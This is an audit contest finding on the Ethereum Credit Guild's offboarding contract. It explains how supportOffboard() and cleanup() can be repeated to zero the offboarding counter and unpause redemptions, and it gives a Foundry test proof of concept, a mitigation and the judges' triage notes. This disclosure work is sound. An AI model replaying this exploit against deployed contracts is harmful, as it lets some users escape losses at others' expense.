Redemptions can be unpaused by cleaning up the same term multiple times

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L138

Vulnerability details

When a quorum is met canOffboard[term] is set to true which means that the term will be offboarded and all loans will be closed. When all loans are closed cleanup() is called and canOffboard[term] is set to false.

The problem here is that the polls mapping tracking the quorum supporting the removal is not reset and when canOffboard[term] is set to false, the attacker can call supportOffboard() again and because quorum was already met and the polls mapping wasnt reset, canOffboard[term] will be set to true again when the attacker adds 1 wei of voting power.

The attacker will then be able to call cleanup() again because the term is deprecated and has 0 issuance, this will then decrease the nOffboardingsInProgress and the attacker can repeat this until redemptions are unpaused even though other terms are currently being offboarded and liquidations are happening.

The only requirement here is that the first cleanup happened < 7 days(POLL_DURATION_BLOCKS) from the proposal creation so that the attacker is able to call supportOffboard() again after the first cleanup.

There is no proposal delay when offboarding and the auctions are 30 minutes so < 7 days is completely possible.

Impact

The attacker will be able to unpause redemptions while other terms are being offboarded which breaks the core protocol functionality. Some users will be able to redeem through the PSM to avoid losses while some users will suffer big losses and bad debt will not be handled fairly.
This will also break the LendingTermOffboarding contract because the nOffboardingsInProgress will not correspond to the actual number.

Proof of Concept

This test demonstrates how an attacker can unpause redemptions even though 2 terms are currently being offboarded by repeatedly cleaning up the same term until nOffboardingsInProgress is 0.

Add this to LendingTermOffboarding.t.sol and import "@forge-std/console.sol";

function testCleanupAttack() public {
        address attacker1 = makeAddr("attacker1");
        guild.mint(attacker1, 1);
        vm.prank(attacker1);
        guild.delegate(attacker1);

        address attacker2 = makeAddr("attacker2");
        guild.mint(attacker2, 1);
        vm.prank(attacker2);
        guild.delegate(attacker2);

        guild.mint(bob, _QUORUM);
        vm.startPrank(bob);
        guild.delegate(bob);
        uint256 snapshotBlock = block.number;
        offboarder.proposeOffboard(address(term));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        offboarder.supportOffboard(snapshotBlock, address(term));
        offboarder.offboard(address(term));


        // get enough CREDIT to pack back interests
        vm.stopPrank();
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        uint256 debt = term.getLoanDebt(aliceLoanId);
        credit.mint(alice, debt - aliceLoanSize);

        // close loans
        vm.startPrank(alice);
        credit.approve(address(term), debt);
        term.repay(aliceLoanId);
        vm.stopPrank();

        // cleanup
        offboarder.cleanup(address(term));

        //Assume there are 2 other active terms being offboarded
        vm.store(address(offboarder), bytes32(uint256(6)), bytes32(uint256(2)));
        console.log("There are %s terms that are currently being offboarded", offboarder.nOffboardingsInProgress());

        //THE ATTACK STARTS HERE
        //THE CLEANUP SHOULD HAVE HAPPENED < 7 days from the proposal creation
        vm.prank(attacker1);
        offboarder.supportOffboard(snapshotBlock, address(term));

        //The term can be offboarded again
        assertEq(offboarder.canOffboard(address(term)), true);

        //cleanup() is called again, nOffboardingsInProgress is now 1
        offboarder.cleanup(address(term));

        vm.prank(attacker2);
        offboarder.supportOffboard(snapshotBlock, address(term));
        offboarder.cleanup(address(term));

        //The proccess is repeated, the nOffboardingsInProgress is now 0 
        //Lenders can redeem even though there are 2 other active terms being offboarded 
        console.log("The nOffboardingsInProgress is %s ", offboarder.nOffboardingsInProgress());
    }

Tools Used

Foundry

Recommended Mitigation Steps

supportOffboard() should check if the term is deprecated and revert if yes.

require(!GuildToken(guildToken).isDeprecatedGauge(term),"LendingTermOffboarding: ");

Assessed type

Invalid Validation

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #1141

[c4-judge]

Trumpero changed the severity to 2 (Med Risk)

[c4-judge]

Trumpero marked the issue as satisfactory

[Trumpero]

dup of #1141 due to the same root cause: supportOffboard can still be called after offboarding.

[c4-judge]

Trumpero marked the issue as not a duplicate

[c4-judge]

Trumpero marked the issue as duplicate of #1141